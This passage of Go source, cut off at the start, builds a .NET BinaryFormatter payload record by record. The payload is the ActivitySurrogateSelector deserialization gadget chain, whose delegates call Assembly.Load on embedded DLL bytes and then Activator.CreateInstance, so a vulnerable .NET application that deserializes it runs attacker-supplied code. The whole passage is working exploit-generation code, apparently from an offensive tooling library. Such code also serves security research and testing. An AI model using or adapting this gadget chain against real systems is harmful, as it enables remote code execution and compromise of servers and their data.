BinaryTypeEnumerationMap["PrimitiveArray"], // 1byte AdditionalTypeInfo: []any{PrimitiveTypeEnum["Byte"]}, } // binlib binaryLibrary1 := BinaryLibraryRecord{ID: 14, Library: "System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"} // InnerClassValue memberTypeInfoID4, ok := getMemberTypeInfo([]string{"SystemClass", "ObjectArray"}, []string{"type", "memberDatas"}, []any{"System.UnitySerializationHolder"}) if !ok { return "", false } classWithMembersAndTypesID4 := ClassWithMembersAndTypesRecord{ ClassInfo: ClassInfo{ ObjectID: 4, Name: "System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef", MemberNames: []string{"type", "memberDatas"}, }, MemberTypeInfo: memberTypeInfoID4, LibraryID: 14, MemberValues: []any{MemberReferenceRecord{IDRef: 0x0f}, MemberReferenceRecord{IDRef: 0x10}}, BinaryLibrary: binaryLibrary, } // ClassWithIDRecord O5 classWithIDRecordID5 := ClassWithIDRecord{ ObjectID: 5, MetadataID: 4, MemberValues: []any{MemberReferenceRecord{IDRef: 17}, MemberReferenceRecord{IDRef: 18}}, } // Add value types to create/finish this ASO record arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x3}) arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x4}) arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x5}) arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x6}) arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x7}) arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x8}) arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x9}) arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x0a}) arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x0b}) arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x0c}) arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, ObjectNullMultiple256Record{NullCount: 6}) arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, binaryArrayRecord) arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x0d}) arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, binaryLibrary1) arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, classWithMembersAndTypesID4) arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, classWithIDRecordID5) // Create the ASO and add to records arraySingleObjectRecordID2 := ArraySingleObjectRecord{ArrayInfo: ArrayInfo{ObjectID: 2, MemberCount: 0x10}, Members: arraySingleObjectMemberValues} records = append(records, arraySingleObjectRecordID2) // ClassWithIDRecord O6 classWithIDRecordID6 := ClassWithIDRecord{ ObjectID: 6, MetadataID: 4, MemberValues: []any{MemberReferenceRecord{IDRef: 19}, MemberReferenceRecord{IDRef: 20}}, } records = append(records, classWithIDRecordID6) // ClassWithIDRecord O7 classWithIDRecordID7 := ClassWithIDRecord{ ObjectID: 7, MetadataID: 4, MemberValues: []any{MemberReferenceRecord{IDRef: 21}, MemberReferenceRecord{IDRef: 22}}, } records = append(records, classWithIDRecordID7) // ClassWithIDRecord O8 classWithIDRecordID8 := ClassWithIDRecord{ ObjectID: 8, MetadataID: 4, MemberValues: []any{MemberReferenceRecord{IDRef: 23}, MemberReferenceRecord{IDRef: 24}}, } records = append(records, classWithIDRecordID8) // ClassWithIDRecord O9 classWithIDRecordID9 := ClassWithIDRecord{ ObjectID: 9, MetadataID: 4, MemberValues: []any{MemberReferenceRecord{IDRef: 25}, MemberReferenceRecord{IDRef: 26}}, } records = append(records, classWithIDRecordID9) // ClassWithIDRecord O10 classWithIDRecordID10 := ClassWithIDRecord{ ObjectID: 10, MetadataID: 4, MemberValues: []any{MemberReferenceRecord{IDRef: 27}, MemberReferenceRecord{IDRef: 28}}, } records = append(records, classWithIDRecordID10) // ClassWithIDRecord O11 classWithIDRecordID11 := ClassWithIDRecord{ ObjectID: 11, MetadataID: 4, MemberValues: []any{MemberReferenceRecord{IDRef: 29}, MemberReferenceRecord{IDRef: 30}}, } records = append(records, classWithIDRecordID11) // SystemClassWithMembersAndTypesID12 ID12MemberNames := []string{"LoadFactor", "Version", "Comparer", "HashCodeProvider", "HashSize", "Keys", "Values"} ID12MemberTypeInfo, ok := getMemberTypeInfo([]string{"Primitive", "Primitive", "SystemClass", "SystemClass", "Primitive", "ObjectArray", "ObjectArray"}, ID12MemberNames, []any{ PrimitiveTypeEnum["Single"], PrimitiveTypeEnum["Int32"], "System.Collections.IComparer", "System.Collections.IHashCodeProvider", PrimitiveTypeEnum["Int32"], }) if !ok { return "", false } systemClassWithMembersAndTypesID12 := SystemClassWithMembersAndTypesRecord{ ClassInfo: ClassInfo{ ObjectID: 12, Name: "System.Collections.Hashtable", MemberCount: len(ID12MemberNames), MemberNames: ID12MemberNames, }, MemberTypeInfo: ID12MemberTypeInfo, MemberValues: []any{ PrimitiveByteString("\xec\x51\x38\x3f"), // This is the 'Single' type PrimitiveInt32(2), ObjectNullRecord{}, ObjectNullRecord{}, PrimitiveInt32(3), MemberReferenceRecord{IDRef: 0x1f}, MemberReferenceRecord{IDRef: 0x20}, }, } records = append(records, systemClassWithMembersAndTypesID12) // ASP ID 13 arraySinglePrimitiveID13 := ArraySinglePrimitiveRecord{ ArrayInfo: ArrayInfo{ObjectID: 13, MemberCount: len(dllBytes)}, PrimitiveTypeEnum: PrimitiveTypeEnum["Byte"], Members: string(dllBytes), } records = append(records, arraySinglePrimitiveID13) // SystemClassWithMembersAndTypesID15 ID15MemberNames := []string{"Data", "UnityType", "AssemblyName"} ID15MemberTypeInfo, ok := getMemberTypeInfo([]string{"String", "Primitive", "String"}, ID15MemberNames, []any{ PrimitiveTypeEnum["Int32"], }) if !ok { return "", false } systemClassWithMembersAndTypesID15 := SystemClassWithMembersAndTypesRecord{ ClassInfo: ClassInfo{ ObjectID: 15, Name: "System.UnitySerializationHolder", MemberCount: len(ID15MemberNames), MemberNames: ID15MemberNames, }, MemberTypeInfo: ID15MemberTypeInfo, MemberValues: []any{ BinaryObjectString{ObjectID: 33, Value: "System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Reflection.Assembly, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"}, PrimitiveInt32(4), BinaryObjectString{ObjectID: 34, Value: "System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}, }, } records = append(records, systemClassWithMembersAndTypesID15) // ASO O16 arraySingleObjectID16 := ArraySingleObjectRecord{ ArrayInfo: ArrayInfo{ ObjectID: 16, MemberCount: 7, }, Members: []any{ MemberReferenceRecord{IDRef: 3}, ObjectNullRecord{}, MemberReferenceRecord{IDRef: 36}, ObjectNullRecord{}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(0)}, ObjectNullRecord{}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(1)}, }, } records = append(records, arraySingleObjectID16) // ClassWithIDRecord O17 classWithIDRecordID17 := ClassWithIDRecord{ ObjectID: 17, MetadataID: 15, MemberValues: []any{ BinaryObjectString{ ObjectID: 37, Value: "System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Reflection.Assembly, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Collections.Generic.IEnumerable`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]", }, 4, MemberReferenceRecord{IDRef: 34}, }, } records = append(records, classWithIDRecordID17) // ASO O18 arraySingleObjectID18 := ArraySingleObjectRecord{ ArrayInfo: ArrayInfo{ ObjectID: 18, MemberCount: 7, }, Members: []any{ // any can be replaced by any MemberReferenceRecord{IDRef: 4}, ObjectNullRecord{}, MemberReferenceRecord{IDRef: 40}, ObjectNullRecord{}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(0)}, ObjectNullRecord{}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(1)}, }, } records = append(records, arraySingleObjectID18) // ClassWithIDRecord O19 classWithIDRecordID19 := ClassWithIDRecord{ ObjectID: 19, MetadataID: 15, MemberValues: []any{ BinaryObjectString{ ObjectID: 41, Value: "System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Collections.Generic.IEnumerable`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]", }, 4, MemberReferenceRecord{IDRef: 34}, }, } records = append(records, classWithIDRecordID19) // ASO O20 arraySingleObjectID20 := ArraySingleObjectRecord{ ArrayInfo: ArrayInfo{ ObjectID: 20, MemberCount: 7, }, Members: []any{ // any can be replaced by any MemberReferenceRecord{IDRef: 5}, ObjectNullRecord{}, MemberReferenceRecord{IDRef: 44}, ObjectNullRecord{}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(0)}, ObjectNullRecord{}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(1)}, }, } records = append(records, arraySingleObjectID20) // ClassWithIDRecord O21 classWithIDRecordID21 := ClassWithIDRecord{ ObjectID: 21, MetadataID: 15, MemberValues: []any{ BinaryObjectString{ ObjectID: 45, Value: "System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]", }, 4, MemberReferenceRecord{IDRef: 34}, }, } records = append(records, classWithIDRecordID21) // ASO O22 arraySingleObjectID22 := ArraySingleObjectRecord{ ArrayInfo: ArrayInfo{ ObjectID: 22, MemberCount: 7, }, Members: []any{ // any can be replaced by any MemberReferenceRecord{IDRef: 6}, MemberReferenceRecord{IDRef: 48}, MemberReferenceRecord{IDRef: 49}, ObjectNullRecord{}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(0)}, ObjectNullRecord{}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(1)}, }, } records = append(records, arraySingleObjectID22) // ClassWithIDRecord O23 classWithIDRecordID23 := ClassWithIDRecord{ ObjectID: 23, MetadataID: 15, MemberValues: []any{ BinaryObjectString{ ObjectID: 0x32, Value: "System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]", }, 4, MemberReferenceRecord{IDRef: 34}, }, } records = append(records, classWithIDRecordID23) // ASO O24 arraySingleObjectID24 := ArraySingleObjectRecord{ ArrayInfo: ArrayInfo{ ObjectID: 24, MemberCount: 7, }, Members: []any{ // any can be replaced by any MemberReferenceRecord{IDRef: 7}, ObjectNullRecord{}, MemberReferenceRecord{IDRef: 53}, ObjectNullRecord{}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(0)}, ObjectNullRecord{}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(1)}, }, } records = append(records, arraySingleObjectID24) // ClassWithIDRecord O25 classWithIDRecordID25 := ClassWithIDRecord{ ObjectID: 25, MetadataID: 15, MemberValues: []any{ BinaryObjectString{ ObjectID: 54, Value: "System.Web.UI.WebControls.PagedDataSource", }, 4, BinaryObjectString{ ObjectID: 55, Value: "System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a", }, }, } records = append(records, classWithIDRecordID25) // ASO O26 arraySingleObjectID26 := ArraySingleObjectRecord{ ArrayInfo: ArrayInfo{ ObjectID: 26, MemberCount: 7, }, Members: []any{ // any can be replaced by any MemberReferenceRecord{IDRef: 8}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(0)}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(10)}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Boolean"], Value: PrimitiveByte(0)}, // PrimitiveByte "renders" the same. This should get cleaned up later MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Boolean"], Value: PrimitiveByte(0)}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Boolean"], Value: PrimitiveByte(0)}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(0)}, }, } records = append(records, arraySingleObjectID26) // ClassWithIDRecord O27 classWithIDRecordID27 := ClassWithIDRecord{ ObjectID: 27, MetadataID: 15, MemberValues: []any{ BinaryObjectString{ ObjectID: 57, Value: "System.ComponentModel.Design.DesignerVerb", }, 4, BinaryObjectString{ ObjectID: 58, Value: "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", }, }, } records = append(records, classWithIDRecordID27) // ASO O28 arraySingleObjectID28 := ArraySingleObjectRecord{ ArrayInfo: ArrayInfo{ ObjectID: 28, MemberCount: 5, }, Members: []any{ // any can be replaced by any ObjectNullMultiple256Record{NullCount: 2}, MemberReferenceRecord{IDRef: 59}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(3)}, MemberReferenceRecord{IDRef: 11}, ClassWithIDRecord{ ObjectID: 29, MetadataID: 15, MemberValues: []any{ BinaryObjectString{ ObjectID: 61, Value: "System.Runtime.Remoting.Channels.AggregateDictionary", }, 4, BinaryObjectString{ ObjectID: 62, Value: "mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", }, }, }, }, } records = append(records, arraySingleObjectID28) // ASO O30 arraySingleObjectID30 := ArraySingleObjectRecord{ ArrayInfo: ArrayInfo{ ObjectID: 30, MemberCount: 1, }, Members: []any{ MemberReferenceRecord{IDRef: 9}, }, } records = append(records, arraySingleObjectID30) // ASO O31 arraySingleObjectID31 := ArraySingleObjectRecord{ ArrayInfo: ArrayInfo{ ObjectID: 31, MemberCount: 2, }, Members: []any{ MemberReferenceRecord{IDRef: 10}, MemberReferenceRecord{IDRef: 10}, }, } records = append(records, arraySingleObjectID31) // ASO O32 arraySingleObjectID32 := ArraySingleObjectRecord{ ArrayInfo: ArrayInfo{ ObjectID: 32, MemberCount: 2, }, Members: []any{ BinaryObjectString{ObjectID: 65, Value: ""}, MemberReferenceRecord{IDRef: 65}, }, } records = append(records, arraySingleObjectID32) // SCWMT O36 ID36MemberNames := []string{"Delegate", "method0"} ID36MemberTypeInfo, ok := getMemberTypeInfo([]string{"SystemClass", "SystemClass"}, ID36MemberNames, []any{ "System.DelegateSerializationHolder+DelegateEntry", "System.Reflection.MemberInfoSerializationHolder", }) if !ok { return "", false } systemClassWithMembersAndTypesID36 := SystemClassWithMembersAndTypesRecord{ ClassInfo: ClassInfo{ ObjectID: 36, Name: "System.DelegateSerializationHolder", MemberCount: len(ID36MemberNames), MemberNames: ID36MemberNames, }, MemberTypeInfo: ID36MemberTypeInfo, MemberValues: []any{ MemberReferenceRecord{IDRef: 66}, MemberReferenceRecord{IDRef: 67}, }, } records = append(records, systemClassWithMembersAndTypesID36) // CW O40 classWithIDRecordID40 := ClassWithIDRecord{ ObjectID: 40, MetadataID: 36, MemberValues: []any{ MemberReferenceRecord{IDRef: 68}, MemberReferenceRecord{IDRef: 69}, }, } records = append(records, classWithIDRecordID40) // CW O44 classWithIDRecordID44 := ClassWithIDRecord{ ObjectID: 44, MetadataID: 36, MemberValues: []any{ MemberReferenceRecord{IDRef: 70}, MemberReferenceRecord{IDRef: 71}, }, } records = append(records, classWithIDRecordID44) // CW O48 classWithIDRecordID48 := ClassWithIDRecord{ ObjectID: 48, MetadataID: 36, MemberValues: []any{ MemberReferenceRecord{IDRef: 72}, MemberReferenceRecord{IDRef: 73}, }, } records = append(records, classWithIDRecordID48) // CW O49 classWithIDRecordID49 := ClassWithIDRecord{ ObjectID: 49, MetadataID: 36, MemberValues: []any{ MemberReferenceRecord{IDRef: 74}, MemberReferenceRecord{IDRef: 75}, }, } records = append(records, classWithIDRecordID49) // CW O53 classWithIDRecordID53 := ClassWithIDRecord{ ObjectID: 53, MetadataID: 36, MemberValues: []any{ MemberReferenceRecord{IDRef: 76}, MemberReferenceRecord{IDRef: 77}, }, } records = append(records, classWithIDRecordID53) // CW O59 classWithIDRecordID59 := ClassWithIDRecord{ ObjectID: 59, MetadataID: 4, MemberValues: []any{ MemberReferenceRecord{IDRef: 78}, MemberReferenceRecord{IDRef: 79}, }, } records = append(records, classWithIDRecordID59) // SCWMT O66 ID66MemberNames := []string{"type", "assembly", "target", "targetTypeAssembly", "targetTypeName", "methodName", "delegateEntry"} ID66MemberTypeInfo, ok := getMemberTypeInfo([]string{"String", "String", "Object", "String", "String", "String", "SystemClass"}, ID66MemberNames, []any{ "System.DelegateSerializationHolder+DelegateEntry", }) if !ok { return "", false } systemClassWithMembersAndTypesID66 := SystemClassWithMembersAndTypesRecord{ ClassInfo: ClassInfo{ ObjectID: 66, Name: "System.DelegateSerializationHolder+DelegateEntry", MemberCount: len(ID66MemberNames), MemberNames: ID66MemberNames, }, MemberTypeInfo: ID66MemberTypeInfo, MemberValues: []any{ BinaryObjectString{ObjectID: 80, Value: "System.Func`2[[System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Reflection.Assembly, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"}, MemberReferenceRecord{IDRef: 62}, ObjectNullRecord{}, MemberReferenceRecord{IDRef: 62}, BinaryObjectString{ObjectID: 82, Value: "System.Reflection.Assembly"}, BinaryObjectString{ObjectID: 83, Value: "Load"}, ObjectNullRecord{}, }, } records = append(records, systemClassWithMembersAndTypesID66) // SCWMT O67 ID67MemberNames := []string{"Name", "AssemblyName", "ClassName", "Signature", "Signature2", "MemberType", "GenericArguments"} ID67MemberTypeInfo, ok := getMemberTypeInfo([]string{"String", "String", "String", "String", "String", "Primitive", "SystemClass"}, ID67MemberNames, []any{ PrimitiveTypeEnum["Int32"], "System.Type[]", }) if !ok { return "", false } systemClassWithMembersAndTypesID67 := SystemClassWithMembersAndTypesRecord{ ClassInfo: ClassInfo{ ObjectID: 67, Name: "System.Reflection.MemberInfoSerializationHolder", MemberCount: len(ID67MemberNames), MemberNames: ID67MemberNames, }, MemberTypeInfo: ID67MemberTypeInfo, MemberValues: []any{ MemberReferenceRecord{IDRef: 83}, MemberReferenceRecord{IDRef: 62}, MemberReferenceRecord{IDRef: 82}, BinaryObjectString{ObjectID: 86, Value: "System.Reflection.Assembly Load(Byte[])"}, BinaryObjectString{ObjectID: 87, Value: "System.Reflection.Assembly Load(System.Byte[])"}, 8, ObjectNullRecord{}, }, } records = append(records, systemClassWithMembersAndTypesID67) // CW O68 classWithIDRecordID68 := ClassWithIDRecord{ ObjectID: 68, MetadataID: 66, MemberValues: []any{ BinaryObjectString{ObjectID: 88, Value: "System.Func`2[[System.Reflection.Assembly, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Collections.Generic.IEnumerable`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"}, MemberReferenceRecord{IDRef: 62}, ObjectNullRecord{}, MemberReferenceRecord{IDRef: 62}, MemberReferenceRecord{IDRef: 82}, BinaryObjectString{ObjectID: 91, Value: "GetTypes"}, ObjectNullRecord{}, }, } records = append(records, classWithIDRecordID68) // CW O69 classWithIDRecordID69 := ClassWithIDRecord{ ObjectID: 69, MetadataID: 67, MemberValues: []any{ MemberReferenceRecord{IDRef: 91}, MemberReferenceRecord{IDRef: 62}, MemberReferenceRecord{IDRef: 82}, BinaryObjectString{ObjectID: 94, Value: "System.Type[] GetTypes()"}, BinaryObjectString{ObjectID: 95, Value: "System.Type[] GetTypes()"}, 8, // Corresponds with Val6 of the referenced object ObjectNullRecord{}, }, } records = append(records, classWithIDRecordID69) // CW O70 classWithIDRecordID70 := ClassWithIDRecord{ ObjectID: 70, MetadataID: 66, MemberValues: []any{ BinaryObjectString{ObjectID: 96, Value: "System.Func`2[[System.Collections.Generic.IEnumerable`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"}, MemberReferenceRecord{IDRef: 62}, ObjectNullRecord{}, MemberReferenceRecord{IDRef: 62}, BinaryObjectString{ObjectID: 98, Value: "System.Collections.Generic.IEnumerable`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"}, BinaryObjectString{ObjectID: 99, Value: "GetEnumerator"}, ObjectNullRecord{}, }, } records = append(records, classWithIDRecordID70) // CW O71 classWithIDRecordID71 := ClassWithIDRecord{ ObjectID: 0x47, MetadataID: 0x43, MemberValues: []any{ MemberReferenceRecord{IDRef: 0x63}, MemberReferenceRecord{IDRef: 0x3e}, MemberReferenceRecord{IDRef: 0x62}, BinaryObjectString{ObjectID: 0x66, Value: "System.Collections.Generic.IEnumerator`1[System.Type] GetEnumerator()"}, BinaryObjectString{ObjectID: 0x67, Value: "System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] GetEnumerator()"}, 8, // Corresponds with referenced, like classWithID18 ObjectNullRecord{}, }, } records = append(records, classWithIDRecordID71) // CW O72 classWithIDRecordID72 := ClassWithIDRecord{ ObjectID: 0x48, MetadataID: 0x42, MemberValues: []any{ BinaryObjectString{ObjectID: 0x68, Value: "System.Func`2[[System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"}, MemberReferenceRecord{IDRef: 0x3e}, ObjectNullRecord{}, MemberReferenceRecord{IDRef: 0x3e}, BinaryObjectString{ObjectID: 0x6a, Value: "System.Collections.IEnumerator"}, BinaryObjectString{ObjectID: 0x6b, Value: "MoveNext"}, ObjectNullRecord{}, }, } records = append(records, classWithIDRecordID72) // CW O73 classWithIDRecordID73 := ClassWithIDRecord{ ObjectID: 0x49, MetadataID: 0x43, MemberValues: []any{ MemberReferenceRecord{IDRef: 0x6b}, MemberReferenceRecord{IDRef: 0x3e}, MemberReferenceRecord{IDRef: 0x6a}, BinaryObjectString{ObjectID: 0x6e, Value: "Boolean MoveNext()"}, BinaryObjectString{ObjectID: 0x6f, Value: "System.Boolean MoveNext()"}, 8, // Corresponds with referenced, like classWithID18 ObjectNullRecord{}, }, } records = append(records, classWithIDRecordID73) // CW O74 classWithIDRecordID74 := ClassWithIDRecord{ ObjectID: 0x4a, MetadataID: 0x42, MemberValues: []any{ BinaryObjectString{ObjectID: 0x70, Value: "System.Func`2[[System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"}, MemberReferenceRecord{IDRef: 0x3e}, ObjectNullRecord{}, MemberReferenceRecord{IDRef: 0x3e}, BinaryObjectString{ObjectID: 0x72, Value: "System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"}, BinaryObjectString{ObjectID: 0x73, Value: "get_Current"}, ObjectNullRecord{}, }, } records = append(records, classWithIDRecordID74) // CW O75 classWithIDRecordID75 := ClassWithIDRecord{ ObjectID: 0x4b, MetadataID: 0x43, MemberValues: []any{ MemberReferenceRecord{IDRef: 0x73}, MemberReferenceRecord{IDRef: 0x3e}, MemberReferenceRecord{IDRef: 0x72}, BinaryObjectString{ObjectID: 0x76, Value: "System.Type get_Current()"}, BinaryObjectString{ObjectID: 0x77, Value: "System.Type get_Current()"}, 8, ObjectNullRecord{}, }, } records = append(records, classWithIDRecordID75) // CW O80 classWithIDRecordID80 := ClassWithIDRecord{ ObjectID: 0x4c, MetadataID: 0x42, MemberValues: []any{ BinaryObjectString{ObjectID: 0x78, Value: "System.Func`2[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"}, MemberReferenceRecord{IDRef: 0x3e}, ObjectNullRecord{}, MemberReferenceRecord{IDRef: 0x3e}, BinaryObjectString{ObjectID: 0x7a, Value: "System.Activator"}, BinaryObjectString{ObjectID: 0x7b, Value: "CreateInstance"}, ObjectNullRecord{}, }, } records = append(records, classWithIDRecordID80) // CW O81 classWithIDRecordID81 := ClassWithIDRecord{ ObjectID: 0x4d, MetadataID: 0x43, MemberValues: []any{ MemberReferenceRecord{IDRef: 0x7b}, MemberReferenceRecord{IDRef: 0x3e}, MemberReferenceRecord{IDRef: 0x7a}, BinaryObjectString{ObjectID: 0x7e, Value: "System.Object CreateInstance(System.Type)"}, BinaryObjectString{ObjectID: 0x7f, Value: "System.Object CreateInstance(System.Type)"}, 8, ObjectNullRecord{}, }, } records = append(records, classWithIDRecordID81) // CW O82 classWithIDRecordID82 := ClassWithIDRecord{ ObjectID: 0x4e, MetadataID: 0xf, MemberValues: []any{ BinaryObjectString{ObjectID: 0x80, Value: "System.ComponentModel.Design.CommandID"}, 4, MemberReferenceRecord{IDRef: 0x3a}, }, } records = append(records, classWithIDRecordID82) // ASO O79 arraySingleObjectID79 := ArraySingleObjectRecord{ ArrayInfo: ArrayInfo{ ObjectID: 0x4f, MemberCount: 2, }, Members: []any{ MemberReferenceRecord{IDRef: 0x82}, MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(8192)}, }, } records = append(records, arraySingleObjectID79) // SCWMT O130 ID130MemberNames := []string{"_a", "_b", "_c", "_d", "_e", "_f", "_g", "_h", "_i", "_j", "_k"} ID130MemberTypeInfo, ok := getMemberTypeInfo([]string{"Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive"}, ID130MemberNames, []any{ PrimitiveTypeEnum["Int32"], PrimitiveTypeEnum["Int16"], PrimitiveTypeEnum["Int16"], PrimitiveTypeEnum["Byte"], PrimitiveTypeEnum["Byte"], PrimitiveTypeEnum["Byte"], PrimitiveTypeEnum["Byte"], PrimitiveTypeEnum["Byte"], PrimitiveTypeEnum["Byte"], PrimitiveTypeEnum["Byte"], PrimitiveTypeEnum["Byte"], }) if !ok { return "", false } systemClassWithMembersAndTypesID130 := SystemClassWithMembersAndTypesRecord{ ClassInfo: ClassInfo{ ObjectID: 130, Name: "System.Guid", MemberCount: len(ID130MemberNames), MemberNames: ID130MemberNames, }, MemberTypeInfo: ID130MemberTypeInfo, MemberValues: []any{ PrimitiveInt32(1959924499), PrimitiveInt16(10990), PrimitiveInt16(4561), PrimitiveByte(0x8b), PrimitiveByte(0xfb), PrimitiveByte(0x00), PrimitiveByte(0xa0), PrimitiveByte(0xc9), PrimitiveByte(0x0f), PrimitiveByte(0x26), PrimitiveByte(0xf7), }, } records = append(records, systemClassWithMembersAndTypesID130) // FINI var recordStringBuilder strings.Builder for _, record := range records { recordString, ok := record.ToRecordBin() if !ok { return "", false } recordStringBuilder.WriteString(recordString) } 